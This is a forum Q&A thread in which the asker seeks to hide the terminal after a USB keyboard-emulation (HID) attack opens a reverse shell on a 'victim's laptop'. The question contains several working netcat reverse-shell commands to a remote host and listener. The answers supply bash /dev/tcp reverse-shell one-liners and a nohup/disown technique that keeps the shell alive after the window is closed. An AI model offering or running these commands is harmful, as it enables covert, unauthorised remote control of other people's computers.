Hide reverse shell window launched with HID attack

Question

GOAL: the attacker insert into a victim's laptop an USB which act as a keyboard. The payload opens a terminal, executes a reverse shell and hides the terminal.

PROBLEM: the tests I did locally (ubuntu 19.04, and digispark as usb) are the following:

ONE

terminal A nc -e /bin/bash 10.10.10.10 8888

terminal B nc -vlp 8888

Everything works, I have my shell with the prompt on the terminal B but the terminal A is not hidden.

TWO

terminal A nc -e /bin/bash 10.10.10.10 8888&; disown; exit

terminal B nc -vlp 8888

terminal B just hangs and terminal A is hidden

THREE

terminal A nohup nc -e /bin/bash 10.10.10.10 8888&; exit

terminal B nc -vlp 8888

terminal B just hangs and terminal A is hidden

FOUR

terminal A: I open screen then executenc -e /bin/bash 10.10.10.10 8888 , CTRL^A , then d and finally exit.

terminal B nc -vlp 8888

using screen everything works but I don't want to use screen because is not installed by default

QUESTION: is there a way (using preinstalled tools) to hidden the terminal without screen but with the same effect?

Answer 1

Using just bash with its inbuilt TCP capability:

bash -il 1<>/dev/tcp/10.10.10.10/8888 2>&1 <&1 & exit

Or slightly more user friendly using script from bsdutils to invoke a pty so you can have propper job control etc...

script /dev/null 1<>/dev/tcp/10.10.10.10/8888 2>&1 <&1 &  exit

Answer 2

This worked. Thanks to @Chris Dodd

nohup nc ...& disown; exit

After the shell exits, the terminal will either logout or shutdown (depending on what kind of terminal it is), and send SIGHUP to the controlling process group, which would cause nc to exit.

Using nohup detaches from the terminal and runs nc in its own process group (so it will no longer be in the terminal's controlling process group), so the SIGHUP won't be sent to it.